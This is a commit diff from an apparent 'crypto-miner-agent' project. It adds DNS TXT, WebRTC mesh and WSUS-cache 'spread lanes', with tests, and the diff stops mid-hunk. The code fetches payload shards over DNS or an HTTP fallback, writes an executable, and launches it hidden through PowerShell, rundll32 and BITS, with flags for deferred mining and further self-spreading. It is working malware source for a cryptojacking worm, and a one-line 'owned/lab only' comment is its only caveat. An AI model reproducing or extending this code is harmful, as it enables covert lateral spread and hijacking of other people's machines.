Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
@@ -56,5 +56,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
RVNPoolPass: "x",
|
||||
LotlOnionEnabled: false,
|
||||
LotlPolicyFromServer: false,
|
||||
DnsTxtSpread: true,
|
||||
WebRTCMeshSpread: false,
|
||||
WSUSCachePeerSpread: true,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,6 +71,9 @@ type BuiltinConfig struct {
|
||||
RemoteAggressive bool
|
||||
// Spread technique options (forge-baked; owned/lab only)
|
||||
WinRMSpread bool // lateral WinRM encoded bootstrap in autospread
|
||||
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
|
||||
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
|
||||
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
|
||||
COMHijackPersist bool // COM CLSID hijack persistence — default off
|
||||
LinuxLOTLMode string // systemd_run_user | crontab | both | off
|
||||
// Passive spreading — triggered by the environment rather than active scanning
|
||||
|
||||
@@ -4,7 +4,6 @@ package deploy
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
|
||||
@@ -12,6 +12,16 @@ import (
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// WebRTCMeshPlanBody is the signed WebRTC mesh policy attached to deploy plans.
|
||||
type WebRTCMeshPlanBody struct {
|
||||
STUNServers []string `json:"stun_servers,omitempty"`
|
||||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||||
RotationHours int `json:"rotation_hours,omitempty"`
|
||||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||||
}
|
||||
|
||||
// DeployPlanBody is the HMAC-signed payload from POST /api/v1/agent/deploy-plan.
|
||||
type DeployPlanBody struct {
|
||||
JoinLane string `json:"join_lane"`
|
||||
@@ -19,6 +29,12 @@ type DeployPlanBody struct {
|
||||
Action string `json:"action"`
|
||||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||||
PeerGroup string `json:"peer_group,omitempty"`
|
||||
CacheGroup string `json:"cache_group,omitempty"`
|
||||
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
||||
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
||||
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
||||
Script string `json:"script,omitempty"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
@@ -71,6 +87,67 @@ func ExecuteDeployPlan(cfg config.RuntimeConfig, plan DeployPlanBody) (string, e
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
case "wsus_cache_peer":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane wsus_cache_peer requires staging manifest")
|
||||
}
|
||||
group := strings.TrimSpace(plan.CacheGroup)
|
||||
if group == "" {
|
||||
group = strings.TrimSpace(plan.Manifest.CacheGroup)
|
||||
}
|
||||
msg, err := RunWSUSCachePeerStaging(cfg, WSUSCachePeerFromStagingManifest(*plan.Manifest, group))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
case "dns_txt":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane dns_txt requires staging manifest")
|
||||
}
|
||||
zone := strings.TrimSpace(plan.DNSTXTZone)
|
||||
if zone == "" {
|
||||
zone = strings.TrimSpace(plan.Manifest.DNSZone)
|
||||
}
|
||||
ttl := plan.TTLRefreshSec
|
||||
if ttl == 0 {
|
||||
ttl = plan.Manifest.TTLRefreshSec
|
||||
}
|
||||
msg, err := RunDNSTXTStaging(cfg, DNSTXTFromStagingManifest(*plan.Manifest, zone, plan.DNSTXTRecords, plan.DNSTXTShards, ttl))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
case "webrtc_mesh":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane webrtc_mesh requires staging manifest")
|
||||
}
|
||||
policy := WebRTCMeshPolicy{RotationHours: DefaultWebRTCRotationHours}
|
||||
if plan.WebRTCMesh != nil {
|
||||
policy = WebRTCMeshPolicy{
|
||||
STUNServers: plan.WebRTCMesh.STUNServers,
|
||||
SignalingRelay: plan.WebRTCMesh.SignalingRelay,
|
||||
LANFallbackURL: plan.WebRTCMesh.LANFallbackURL,
|
||||
SeederAgentID: plan.WebRTCMesh.SeederAgentID,
|
||||
RotationHours: plan.WebRTCMesh.RotationHours,
|
||||
IsSeeder: plan.WebRTCMesh.IsSeeder,
|
||||
}
|
||||
}
|
||||
if policy.RotationHours <= 0 {
|
||||
policy.RotationHours = DefaultWebRTCRotationHours
|
||||
}
|
||||
msg, err := RunWebRTCMeshStaging(cfg, WebRTCMeshManifest{
|
||||
Policy: policy,
|
||||
SHA256: plan.Manifest.SHA256,
|
||||
Dest: plan.Manifest.Dest,
|
||||
Launch: plan.Manifest.Launch,
|
||||
DLLExport: plan.Manifest.DLLExport,
|
||||
DeferMining: plan.Manifest.DeferMining,
|
||||
SpreadInstall: plan.Manifest.SpreadInstall,
|
||||
})
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return msg, nil
|
||||
case "bits_curl", "docker_load":
|
||||
if plan.Manifest == nil {
|
||||
return "", fmt.Errorf("join lane %s requires staging manifest", lane)
|
||||
|
||||
@@ -3,6 +3,7 @@ package deploy
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"os"
|
||||
@@ -151,3 +152,59 @@ func TestExecuteDeployPlanDOPeerRequiresManifest(t *testing.T) {
|
||||
t.Fatalf("err=%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanDNSTXTWithMockResolver(t *testing.T) {
|
||||
payload := []byte("dns-txt-signed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldResolve := dnsTXTResolveFn
|
||||
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
|
||||
return base64.StdEncoding.EncodeToString(payload), nil
|
||||
}
|
||||
defer func() { dnsTXTResolveFn = oldResolve }()
|
||||
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "dns_txt", Action: "dns_txt",
|
||||
DNSTXTZone: "lab.internal",
|
||||
Manifest: &StagingManifest{
|
||||
Method: "dns_txt",
|
||||
Chunks: []StagingChunk{{Record: "_aether.shard0.lab.internal", Index: 0}},
|
||||
SHA256: hash, Dest: "dns-txt-test-worker.exe", Launch: "exe", DeferMining: true,
|
||||
},
|
||||
}
|
||||
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
||||
return
|
||||
}
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanWebRTCMeshWithMockFn(t *testing.T) {
|
||||
payload := []byte("webrtc-signed-plan")
|
||||
sum := sha256.Sum256(payload)
|
||||
hash := hex.EncodeToString(sum[:])
|
||||
|
||||
oldFn := webrtcMeshReceiveFn
|
||||
webrtcMeshReceiveFn = func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
||||
return payload, nil
|
||||
}
|
||||
defer func() { webrtcMeshReceiveFn = oldFn }()
|
||||
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "webrtc_mesh", Action: "webrtc_mesh",
|
||||
WebRTCMesh: &WebRTCMeshPlanBody{RotationHours: 24, SeederAgentID: "seed-1"},
|
||||
Manifest: &StagingManifest{
|
||||
SHA256: hash, Dest: "webrtc-test-worker.exe", Launch: "exe", DeferMining: true,
|
||||
},
|
||||
}
|
||||
_, err := ExecuteDeployPlan(config.RuntimeConfig{}, plan)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "launch") || strings.Contains(err.Error(), "HiddenStart") {
|
||||
return
|
||||
}
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
172
agent/deploy/dns_txt_staging.go
Normal file
172
agent/deploy/dns_txt_staging.go
Normal file
@@ -0,0 +1,172 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// DNSTXTManifest describes hash-verified payload assembly from DNS TXT shards.
|
||||
type DNSTXTManifest struct {
|
||||
Zone string `json:"zone,omitempty"`
|
||||
Records []string `json:"records,omitempty"`
|
||||
ShardIndices []int `json:"shard_indices,omitempty"`
|
||||
Chunks []StagingChunk `json:"chunks"`
|
||||
SHA256 string `json:"sha256"`
|
||||
Dest string `json:"dest"`
|
||||
Launch string `json:"launch"`
|
||||
DLLExport string `json:"dll_export,omitempty"`
|
||||
DeferMining bool `json:"defer_mining,omitempty"`
|
||||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||||
}
|
||||
|
||||
// DNSTXTFromStagingManifest maps a signed deploy-plan manifest into a dns_txt payload.
|
||||
func DNSTXTFromStagingManifest(m StagingManifest, zone string, records []string, shards []int, ttl int) DNSTXTManifest {
|
||||
return DNSTXTManifest{
|
||||
Zone: zone,
|
||||
Records: records,
|
||||
ShardIndices: shards,
|
||||
Chunks: m.Chunks,
|
||||
SHA256: m.SHA256,
|
||||
Dest: m.Dest,
|
||||
Launch: m.Launch,
|
||||
DLLExport: m.DLLExport,
|
||||
DeferMining: m.DeferMining,
|
||||
SpreadInstall: m.SpreadInstall,
|
||||
TTLRefreshSec: ttl,
|
||||
}
|
||||
}
|
||||
|
||||
// dnsTXTResolveFn fetches one TXT shard body (injectable for tests).
|
||||
var dnsTXTResolveFn func(record string, fallbackURL string) (string, error)
|
||||
|
||||
type dnsTXTShard struct {
|
||||
index int
|
||||
data []byte
|
||||
}
|
||||
|
||||
func dnsTXTWorkDir(cfg config.RuntimeConfig, manifest DNSTXTManifest) string {
|
||||
zone := sanitizeName(manifest.Zone)
|
||||
if zone == "" {
|
||||
zone = "local"
|
||||
}
|
||||
return filepath.Join(os.TempDir(), ".dns-txt-"+zone+"-"+sanitizeName(cfg.WorkerName))
|
||||
}
|
||||
|
||||
// assembleDNSTXTPayload fetches TXT shards, verifies SHA256, returns staged dest path.
|
||||
func assembleDNSTXTPayload(cfg config.RuntimeConfig, manifest DNSTXTManifest) (dest string, cleanup func(), err error) {
|
||||
if len(manifest.Chunks) == 0 && len(manifest.Records) == 0 {
|
||||
return "", nil, fmt.Errorf("dns_txt manifest has no chunks or records")
|
||||
}
|
||||
dest, err = ResolveStagingPath(manifest.Dest)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
workDir := dnsTXTWorkDir(cfg, manifest)
|
||||
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
cleanupFn := func() { _ = os.RemoveAll(workDir) }
|
||||
|
||||
shards, err := collectDNSTXTShards(manifest)
|
||||
if err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
sort.Slice(shards, func(i, j int) bool { return shards[i].index < shards[j].index })
|
||||
|
||||
var assembled []byte
|
||||
for _, s := range shards {
|
||||
assembled = append(assembled, s.data...)
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
if err := os.WriteFile(dest, assembled, 0o755); err != nil {
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
_ = os.Remove(dest)
|
||||
cleanupFn()
|
||||
return "", nil, err
|
||||
}
|
||||
return dest, cleanupFn, nil
|
||||
}
|
||||
|
||||
func collectDNSTXTShards(manifest DNSTXTManifest) ([]dnsTXTShard, error) {
|
||||
resolve := dnsTXTResolveFn
|
||||
if resolve == nil {
|
||||
resolve = resolveDNSTXTShardPlatform
|
||||
}
|
||||
var shards []dnsTXTShard
|
||||
for i, chunk := range manifest.Chunks {
|
||||
record := strings.TrimSpace(chunk.Record)
|
||||
if record == "" && i < len(manifest.Records) {
|
||||
record = strings.TrimSpace(manifest.Records[i])
|
||||
}
|
||||
idx := chunk.Index
|
||||
if idx == 0 && i < len(manifest.ShardIndices) {
|
||||
idx = manifest.ShardIndices[i]
|
||||
}
|
||||
if idx == 0 {
|
||||
idx = i
|
||||
}
|
||||
raw, err := resolve(record, strings.TrimSpace(chunk.URL))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dns shard %d (%s): %w", idx, record, err)
|
||||
}
|
||||
data, err := decodeDNSTXTShard(raw)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dns shard %d decode: %w", idx, err)
|
||||
}
|
||||
shards = append(shards, dnsTXTShard{index: idx, data: data})
|
||||
}
|
||||
if len(shards) == 0 {
|
||||
for i, record := range manifest.Records {
|
||||
idx := i
|
||||
if i < len(manifest.ShardIndices) {
|
||||
idx = manifest.ShardIndices[i]
|
||||
}
|
||||
raw, err := resolve(strings.TrimSpace(record), "")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dns record %s: %w", record, err)
|
||||
}
|
||||
data, err := decodeDNSTXTShard(raw)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("dns record %s decode: %w", record, err)
|
||||
}
|
||||
shards = append(shards, dnsTXTShard{index: idx, data: data})
|
||||
}
|
||||
}
|
||||
if len(shards) == 0 {
|
||||
return nil, fmt.Errorf("dns_txt manifest produced no shards")
|
||||
}
|
||||
return shards, nil
|
||||
}
|
||||
|
||||
func decodeDNSTXTShard(raw string) ([]byte, error) {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return nil, fmt.Errorf("empty TXT shard")
|
||||
}
|
||||
if dec, err := base64.StdEncoding.DecodeString(raw); err == nil && len(dec) > 0 {
|
||||
return dec, nil
|
||||
}
|
||||
if dec, err := base64.RawStdEncoding.DecodeString(raw); err == nil && len(dec) > 0 {
|
||||
return dec, nil
|
||||
}
|
||||
return []byte(raw), nil
|
||||
}
|
||||
|
||||
// RunDNSTXTStaging verifies SHA256, assembles DNS TXT shards, and launches the worker.
|
||||
func RunDNSTXTStaging(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) {
|
||||
return runDNSTXTStagingPlatform(cfg, manifest)
|
||||
}
|
||||
87
agent/deploy/dns_txt_staging_test.go
Normal file
87
agent/deploy/dns_txt_staging_test.go
Normal file
@@ -0,0 +1,87 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestDNSTXTAssembleWithMockResolver(t *testing.T) {
|
||||
payload := []byte("dns-txt-mesh-payload")
|
||||
sum := sha256.Sum256(payload)
|
||||
encoded := base64.StdEncoding.EncodeToString(payload)
|
||||
|
||||
oldResolve := dnsTXTResolveFn
|
||||
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
|
||||
if record != "_aether.shard0.internal" {
|
||||
t.Fatalf("record=%q", record)
|
||||
}
|
||||
return encoded, nil
|
||||
}
|
||||
defer func() { dnsTXTResolveFn = oldResolve }()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}}
|
||||
manifest := DNSTXTManifest{
|
||||
Zone: "internal",
|
||||
Chunks: []StagingChunk{{Record: "_aether.shard0.internal", Index: 0, File: "shard0.bin"}},
|
||||
SHA256: hex.EncodeToString(sum[:]),
|
||||
Dest: filepath.Join("dns-txt", "worker.exe"),
|
||||
}
|
||||
|
||||
dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer cleanup()
|
||||
if err := verifyFileSHA256(dest, manifest.SHA256); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSTXTRejectsPathTraversal(t *testing.T) {
|
||||
oldResolve := dnsTXTResolveFn
|
||||
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
|
||||
return base64.StdEncoding.EncodeToString([]byte("x")), nil
|
||||
}
|
||||
defer func() { dnsTXTResolveFn = oldResolve }()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}}
|
||||
manifest := DNSTXTManifest{
|
||||
Chunks: []StagingChunk{{Record: "r", Index: 0}},
|
||||
SHA256: strings.Repeat("a", 64),
|
||||
Dest: "../../outside.exe",
|
||||
}
|
||||
_, _, err := assembleDNSTXTPayload(cfg, manifest)
|
||||
if err == nil || !strings.Contains(err.Error(), "path traversal") {
|
||||
t.Fatalf("expected path traversal error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDNSTXTSHA256MismatchRejected(t *testing.T) {
|
||||
oldResolve := dnsTXTResolveFn
|
||||
dnsTXTResolveFn = func(record, fallbackURL string) (string, error) {
|
||||
return base64.StdEncoding.EncodeToString([]byte("wrong")), nil
|
||||
}
|
||||
defer func() { dnsTXTResolveFn = oldResolve }()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "dns-test"}}
|
||||
manifest := DNSTXTManifest{
|
||||
Chunks: []StagingChunk{{Record: "r", Index: 0}},
|
||||
SHA256: strings.Repeat("b", 64),
|
||||
Dest: "worker.exe",
|
||||
}
|
||||
_, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
|
||||
if cleanup != nil {
|
||||
defer cleanup()
|
||||
}
|
||||
if err == nil || !strings.Contains(err.Error(), "sha256 mismatch") {
|
||||
t.Fatalf("expected sha256 mismatch, got %v", err)
|
||||
}
|
||||
_ = os.Remove("worker.exe")
|
||||
}
|
||||
103
agent/deploy/dns_txt_staging_unix.go
Normal file
103
agent/deploy/dns_txt_staging_unix.go
Normal file
@@ -0,0 +1,103 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// IsDNSTXTReady reports whether nslookup can resolve _aether TXT on this host.
|
||||
func IsDNSTXTReady(zone string) bool {
|
||||
zone = strings.TrimSpace(zone)
|
||||
if zone == "" {
|
||||
zone = "internal"
|
||||
}
|
||||
record := "_aether." + zone
|
||||
out, err := exec.Command("nslookup", "-type=TXT", record).CombinedOutput()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.Contains(string(out), "text =")
|
||||
}
|
||||
|
||||
func resolveDNSTXTShardPlatform(record, fallbackURL string) (string, error) {
|
||||
record = strings.TrimSpace(record)
|
||||
if record != "" {
|
||||
out, err := exec.Command("nslookup", "-type=TXT", record).CombinedOutput()
|
||||
if err == nil {
|
||||
if txt := parseNslookupTXT(string(out)); txt != "" {
|
||||
return txt, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if fallbackURL != "" {
|
||||
return fetchDNSTXTFallbackUnix(fallbackURL)
|
||||
}
|
||||
if record == "" {
|
||||
return "", fmt.Errorf("dns record name is empty")
|
||||
}
|
||||
return "", fmt.Errorf("no TXT data for %s", record)
|
||||
}
|
||||
|
||||
func parseNslookupTXT(raw string) string {
|
||||
for _, line := range strings.Split(raw, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
lower := strings.ToLower(line)
|
||||
if strings.Contains(lower, "text =") {
|
||||
parts := strings.SplitN(line, "=", 2)
|
||||
if len(parts) == 2 {
|
||||
return strings.Trim(strings.TrimSpace(parts[1]), `"`)
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func fetchDNSTXTFallbackUnix(url string) (string, error) {
|
||||
client := &http.Client{Timeout: 30 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return "", fmt.Errorf("dns txt fallback http %d", resp.StatusCode)
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 4<<20))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return strings.TrimSpace(string(body)), nil
|
||||
}
|
||||
|
||||
func runDNSTXTStagingPlatform(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) {
|
||||
dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer cleanup()
|
||||
args := []string{runFlag}
|
||||
if manifest.DeferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if manifest.SpreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched exe %v",
|
||||
len(manifest.Chunks), manifest.Zone, dest, args), nil
|
||||
}
|
||||
|
||||
// ProbeDNSTXTZone returns a default zone suffix for _aether TXT discovery.
|
||||
func ProbeDNSTXTZone() string {
|
||||
return "internal"
|
||||
}
|
||||
119
agent/deploy/dns_txt_staging_windows.go
Normal file
119
agent/deploy/dns_txt_staging_windows.go
Normal file
@@ -0,0 +1,119 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// IsDNSTXTReady reports whether internal DNS resolves and _aether TXT is present.
|
||||
func IsDNSTXTReady(zone string) bool {
|
||||
zone = strings.TrimSpace(zone)
|
||||
if zone == "" {
|
||||
zone = "internal"
|
||||
}
|
||||
record := "_aether." + zone
|
||||
out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf(`try { (Resolve-DnsName -Name %q -Type TXT -ErrorAction Stop | Select-Object -First 1).Strings } catch { '' }`, record))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return strings.TrimSpace(string(out)) != ""
|
||||
}
|
||||
|
||||
func resolveDNSTXTShardPlatform(record, fallbackURL string) (string, error) {
|
||||
record = strings.TrimSpace(record)
|
||||
if record != "" {
|
||||
out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf(`try { (Resolve-DnsName -Name %q -Type TXT -ErrorAction Stop | ForEach-Object { $_.Strings }) -join '' } catch { '' }`, record))
|
||||
if err == nil {
|
||||
txt := strings.TrimSpace(string(out))
|
||||
if txt != "" {
|
||||
return txt, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if fallbackURL != "" {
|
||||
return fetchDNSTXTFallback(fallbackURL)
|
||||
}
|
||||
if record == "" {
|
||||
return "", fmt.Errorf("dns record name is empty")
|
||||
}
|
||||
return "", fmt.Errorf("no TXT data for %s", record)
|
||||
}
|
||||
|
||||
func fetchDNSTXTFallback(url string) (string, error) {
|
||||
client := &http.Client{Timeout: 30 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return "", fmt.Errorf("dns txt fallback http %d", resp.StatusCode)
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 4<<20))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return strings.TrimSpace(string(body)), nil
|
||||
}
|
||||
|
||||
func runDNSTXTStagingPlatform(cfg config.RuntimeConfig, manifest DNSTXTManifest) (string, error) {
|
||||
dest, cleanup, err := assembleDNSTXTPayload(cfg, manifest)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer cleanup()
|
||||
|
||||
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
||||
switch launch {
|
||||
case "rundll32", "dll":
|
||||
export := strings.TrimSpace(manifest.DLLExport)
|
||||
if export == "" {
|
||||
export = "DllRegisterServer"
|
||||
}
|
||||
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
||||
return "", fmt.Errorf("rundll32 launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched rundll32 %s ttl_refresh=%ds",
|
||||
len(manifest.Chunks), manifest.Zone, dest, export, manifest.TTLRefreshSec), nil
|
||||
default:
|
||||
args := []string{runFlag}
|
||||
if manifest.DeferMining {
|
||||
args = append(args, deferMiningFlag)
|
||||
}
|
||||
if manifest.SpreadInstall {
|
||||
args = append(args, spreadFlag)
|
||||
}
|
||||
if err := HiddenStart(dest, args...); err != nil {
|
||||
return "", fmt.Errorf("exe launch: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("dns_txt staged %d shard(s) zone=%s to %s; launched exe %v ttl_refresh=%ds",
|
||||
len(manifest.Chunks), manifest.Zone, dest, args, manifest.TTLRefreshSec), nil
|
||||
}
|
||||
}
|
||||
|
||||
// ProbeDNSTXTZone returns the zone suffix used for _aether TXT discovery.
|
||||
func ProbeDNSTXTZone() string {
|
||||
if _, err := exec.LookPath("powershell.exe"); err != nil {
|
||||
return "internal"
|
||||
}
|
||||
out, err := HiddenCombinedOutput("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
`try { $d = (Get-CimInstance Win32_ComputerSystem).Domain; if ($d) { $d.ToLower() } else { 'internal' } } catch { 'internal' }`)
|
||||
if err != nil {
|
||||
return "internal"
|
||||
}
|
||||
zone := strings.TrimSpace(string(out))
|
||||
if zone == "" {
|
||||
return "internal"
|
||||
}
|
||||
return zone
|
||||
}
|
||||
@@ -2,7 +2,11 @@
|
||||
|
||||
package deploy
|
||||
|
||||
import "fmt"
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// IsDOPeerReady is Windows-only (DoSvc + BITS peer cache).
|
||||
func IsDOPeerReady() bool {
|
||||
@@ -12,3 +16,7 @@ func IsDOPeerReady() bool {
|
||||
func certutilDecodePeerPlatform(src, dest string) error {
|
||||
return fmt.Errorf("certutil decode unavailable")
|
||||
}
|
||||
|
||||
func runDOPeerStagingWindows(_ config.RuntimeConfig, _ DOPeerManifest) (string, error) {
|
||||
return "", fmt.Errorf("do_peer staging is Windows-only")
|
||||
}
|
||||
|
||||
@@ -53,6 +53,25 @@ func tryLotlTier(cfg config.RuntimeConfig, tier string) (bool, string) {
|
||||
_ = HiddenRun("powershell.exe", "-NoProfile", "-WindowStyle", "Hidden", "-Command",
|
||||
fmt.Sprintf("Start-BitsTransfer -Source %q -Destination $env:TEMP\\af-do-peer.bin -TransferType Download -Priority Foreground -ErrorAction SilentlyContinue", installURL))
|
||||
return true, "do_peer shadow cache BITS handoff queued (signed plan via discover_and_join)"
|
||||
case "wsus_cache_peer":
|
||||
if !IsWSUSCachePeerReady() && !cfg.WSUSCachePeerSpread {
|
||||
return false, "Wuauserv/cache dir not ready and wsus_cache_peer_spread off"
|
||||
}
|
||||
return true, "wsus_cache_peer SoftwareDistribution cousin staging queued (signed plan via discover_and_join)"
|
||||
case "dns_txt":
|
||||
if !cfg.DnsTxtSpread {
|
||||
return false, "dns_txt_spread forge flag off"
|
||||
}
|
||||
zone := ProbeDNSTXTZone()
|
||||
if !IsDNSTXTReady(zone) {
|
||||
return false, "_aether TXT not resolvable on " + zone
|
||||
}
|
||||
return true, "dns_txt mesh TXT shard staging queued (signed plan via discover_and_join)"
|
||||
case "webrtc_mesh":
|
||||
if !IsWebRTCMeshReady(cfg) {
|
||||
return false, "webrtc_mesh_spread forge flag off (heavier LAN seed path)"
|
||||
}
|
||||
return true, "webrtc_mesh LAN seed manifest queued (STUN + WS relay or LAN HTTP fallback)"
|
||||
case "smb":
|
||||
if !cfg.AutoSpread && !cfg.ShareSpread {
|
||||
go RunSpreadOnce(cfg)
|
||||
|
||||
@@ -12,6 +12,9 @@ var DefaultLotlOnionTiers = []string{
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"do_peer",
|
||||
